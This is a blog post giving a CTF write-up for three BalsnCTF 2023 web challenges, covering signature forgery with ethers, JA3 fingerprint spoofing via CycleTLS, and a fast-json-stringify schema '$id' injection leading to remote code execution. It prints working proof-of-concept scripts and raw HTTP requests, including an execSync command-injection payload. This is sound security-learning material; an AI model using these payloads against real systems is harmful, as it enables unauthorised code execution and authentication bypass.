BalsnCTF 2023 Web Writeup

2023. 10. 10. 22:10·🚩 CTF

● Web3 (misc)

 

You can find below code in "/" endpoint.

const express = require("express");
const ethers = require("ethers");
const path = require("path");

const app = express();

app.use(express.urlencoded());
app.use(express.json());

app.get("/", function(_req, res) {
  res.send("Hello")
});

function isValidData(data) {
  if (/^0x[0-9a-fA-F]+$/.test(data)) {
    return true;
  }
  return false;
}

app.post("/exploit", async function(req, res) {
  try {
    const message = req.body.message;
    const signature = req.body.signature;
    if (!isValidData(signature) || isValidData(message)) {
      res.send("wrong data");
      return;
    }

    const signerAddr = ethers.verifyMessage(message, signature);
    if (signerAddr === ethers.getAddress(message)) {
      const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
      res.send(FLAG);
      return;
    }
  } catch (e) {
    console.error(e);
    res.send("error");
    return;
  }

  res.send("wrong");
  return;
});

const port = process.env.PORT || 3000;
app.listen(port);
console.log(`Server listening on port ${port}`);

The point is whether you can make a new message and signature by using ethers library of nodeJS.

 

Just watch official Document and make your own message and signature.

 

PoC

const ethers = require('ethers')

async function main() {
    let acc=ethers.Wallet.createRandom()
    msg=ethers.getIcapAddress(acc.address)
    let sign = await acc.signMessage(mess)

    fetch('http://web3.balsnctf.com:3000/exploit', {
        method: "POST",
        headers : {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        body: `message=${msg}&signature=${sign}`,
    }).then((res) => res.json()).then(d=>console.log("result:", d))
}

main()

 

 

● 0FA

Chall's code is pretty simple.

// config.php
<?php
define("FINGERPRINT", "771,4866-4865-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0");
$flag = 'BALSN{fake_flag}';

function fingerprint_check() {
    if($_SERVER['HTTP_SSL_JA3'] !== FINGERPRINT) 
        die("Login Failed!"); 
}

FINGERPRINT is defined and check whether it is correct, in request header. In normal way, we can't bypass "fingerprint_check". But we always find the solution.

 

reference : https://github.com/Danny-Dasilva/CycleTLS

 

I searched "fake ja3 github" in google and then found this. Use above code with just a few modifications.

 

PoC

// ref : https://github.com/Danny-Dasilva/CycleTLS
const initCycleTLS = require('cycletls');
// Typescript: import initCycleTLS from 'cycletls';

(async () => {
  // Initiate CycleTLS
  const cycleTLS = await initCycleTLS();

  // Send request
  const response = await cycleTLS('https://0fa.balsnctf.com:8787/flag.php', {
    body: 'username=admin',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded'
    },
    ja3: '771,4866-4865-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0',
    userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
  }, 'post');

  console.log(response);

  // Cleanly exit CycleTLS
  cycleTLS.exit();

})();

● SaaS

// default.conf
server {
    listen 80 default_server;
    return 404;
}
server {
    server_name *.saas;
    if ($http_host != "easy++++++") { return 403 ;}
    location ~ {
      proxy_pass http://backend:3000;
    }
}

We should modify Host header to "easy++++++" and send request to "*.saas" to use backend API.

const validatorFactory = require('@fastify/fast-json-stringify-compiler').SerializerSelector()()
const fastify = require('fastify')({
  logger: true,
})
const {v4: uuid} = require('uuid')
const FLAG = 'the old one'
const customValidators = Object.create(null, {}) // no more p.p.
const defaultSchema = {
  type: 'object',
  properties: {
    pong: {
      type: 'string',
    },
  },
}
fastify.get(
  '/',
  {
    schema: {
      response: {
        200: defaultSchema,
      },
    },
  },
  async () => {
    return {pong: 'hi'}
  }
)
fastify.get('/whowilldothis/:uid', async (req, resp) => {
  const {uid} = req.params
  const validator = customValidators[uid]
  console.log("Validator: ", validator)
  if (validator) {
    return validator({[FLAG]: 'congratulations'})
  } else {
    return {msg: 'not found'}
  }
})

fastify.post('/register', {}, async (req, resp) => {
  // can only access from internal.
  const nid = uuid()
  const schema = Object.assign({}, defaultSchema, req.body)
  customValidators[nid] = validatorFactory({schema})
  return {route: `/whowilldothis/${nid}`}
})
fastify.listen({port: 3000, host: '0.0.0.0'}, function (err, address) {
  if (err) {
    fastify.log.error(err)
    process.exit(1)
  }
  // Server is now listening on ${address}
})

Flag is located in "/flag" path. We can notice through the message "no more p.p", this chall is about Prototype Pollution Attack.

 

There is no way to exploit when system only uses "Object.create({}, null)". But this chall also use fastify, so we can trigger Prototype Pollution and RCE.

 

When I solved this problem, I didn't understand fastify very well, so I ran the problem code locally myself.

huh? I've never defined a function and named it as "anonymous0". I thought it's weird, so looked up the code.

 

reference : https://github.com/fastify/fast-json-stringify/blob/v5.8.0/index.js#L130

 

First :

The value that the main function returns is different depending on value of "code". We should enter Line_136 to trigger rce with the payload "cat /flag" and run the payload through Line_182. To do this, the code value should not be 'json + anonymous0(input)'.

After comparing the "code" variable to the ' json + anonymous0(input) ' value, it defines a contextFunctionCode and subsequently execute this code. The point is it executes contextFunc. 

 

It seems possible to get flag from this part. Make a payload triggering RCE, and just input it in here.

 

Second :

The value of "code" is defined by buildValue() function. Let's check it out.

We can figure out that the only useful code is "addIfThenElse" function.

It checks property of "if" and "then". And it also checks ${ifSchemaRef} and input when return its value. Check ifSchemaRef. 

The function checks schema's id. So we have to define 3 things, id, if and then.

Define an "id" to avoid the code becoming a " json + anonymous0(input) ", "if" to trigger RCE(cat /flag).

( We don't have to define then, because we had everything we need )

 

We finally check all points. Let's make a brilliant payload!

 

PoC

POST http://a.saas/register HTTP/1.1

Host: easy++++++
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 0

{"$id":"asdfasdf\"+process.mainModule.require('child_process').execSync(atob('Y2F0IC9mbGFn'))+\"", "if":{"a":"b"}, "then":{}}

GET http://a.saas/whowilldothis/16110d19-ddad-4bfb-b292-519429423239 HTTP/1.1

Host: easy++++++
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

 

저작자표시 비영리 변경금지 (새창열림)
'🚩 CTF' 카테고리의 다른 글
  • damCTF 2024 Web Writeup
  • HackfestCTF 2024 Web writeup
  • Hayim CTF 2022
  • Insomni'hack 2022
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Ubuntu 기초
    Ubuntu 기초 셋팅
    Remote Code Execution
    ubuntu 명령어
    justCTF
    TsukuCTF2022
    Deep learning
    Crypto
    GPNCTF
    Machine Learning
    RCE
    python
    bug report
    bug hunter
    sqli
    Text Summarization
    TFCCTF2022
    pwntools
    cache
    cache poisoning
  • 최근 댓글

  • 최근 글

Cronus
BalsnCTF 2023 Web Writeup
상단으로

티스토리툴바